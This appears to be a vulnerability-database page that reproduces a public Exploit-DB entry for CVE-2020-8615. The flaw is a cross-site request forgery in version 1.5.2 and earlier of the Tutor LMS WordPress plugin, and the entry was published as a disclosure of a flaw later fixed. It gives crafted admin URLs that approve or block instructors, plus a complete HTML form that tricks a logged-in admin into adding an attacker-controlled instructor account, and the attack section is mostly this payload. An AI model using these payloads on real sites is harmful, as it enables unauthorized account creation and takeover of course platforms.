WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)

🗓️ 02 Mar 2020 00:00:00Reported by Jinson Varghese BehananType

exploitdb🔗 www.exploit-db.com👁 187 Views

WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) vulnerability allows attackers to register as instructors or create courses without admin approval

Reporter	Title	Published	Views	Family All 14
0day.today	Wordpress Tutor LMS 1.5.3 Plugin - Cross-Site Request Forgery (Add User) Vulnerability	2 Mar 202000:00	–	zdt
CNVD	WordPress Tutor LMS Cross-Site Request Forgery Vulnerability	11 Feb 202000:00	–	cnvd
Check Point Advisories	WordPress Tutor LMS Plugin Cross Site Request Forgery (CVE-2020-8615)	26 Mar 202000:00	–	checkpoint_advisories
CVE	CVE-2020-8615	4 Feb 202019:01	–	cve
Cvelist	CVE-2020-8615	4 Feb 202019:01	–	cvelist
EUVD	EUVD-2020-29463	7 Oct 202500:30	–	euvd
exploitpack	Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)	2 Mar 202000:00	–	exploitpack
Nuclei	Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery	6 Jun 202603:01	–	nuclei
NVD	CVE-2020-8615	4 Feb 202020:15	–	nvd
Packet Storm	WordPress Tutor LMS 1.5.3 Cross Site Request Forgery	2 Mar 202000:00	–	packetstorm

# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Date: 2020-01-30
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.2 and below
# CVE : CVE-2020-8615

# 1. Description

# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. 
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors. 
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings 
# page, the attacker will be able to create courses directly as well. All WordPress websites 
# using Tutor LMS version 1.5.2 and below are affected.

# 2. Proof of Concept

# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF 
# attack to approve an attacker-controlled instructor account can be performed by having the admin 
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, 
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked 
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.

# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor 
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. 
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is 
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can 
# be tricked into visiting the link and triggering the request to add an instructor.

<html>
	<body>
		<script>history.pushState('', '', '/')</script>
		<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
			<input type="hidden" name="action" value="add&#95;new&#95;instructor" />
			<input type="hidden" name="first&#95;name" value="John" />
			<input type="hidden" name="last&#95;name" value="Doe" />
			<input type="hidden" name="user&#95;login" value="jd_instructor" />
			<input type="hidden" name="email" value="jd@TARGET" />
			<input type="hidden" name="phone&#95;number" value="1231231231" />
			<input type="hidden" name="password" value="Pa&#36;&#36;w0rd&#33;" /> 
			<input type="hidden" name="password&#95;confirmation" value="Pa&#36;&#36;w0rd&#33;" />
			<input type="hidden" name="tutor&#95;profile&#95;bio" value="Et&#32;tempore&#32;culpa&#32;n" />
			<input type="hidden" name="action" value="tutor&#95;add&#95;instructor" /> 
			<input type="submit" value="Submit request" />
		</form> 
	</body>
</html>

3. Timeline

Vulnerability reported to the Tutor LMS team – January 30, 2020.
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.

02 Mar 2020 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 22.6

CVSS 3.16.5

EPSS0.0867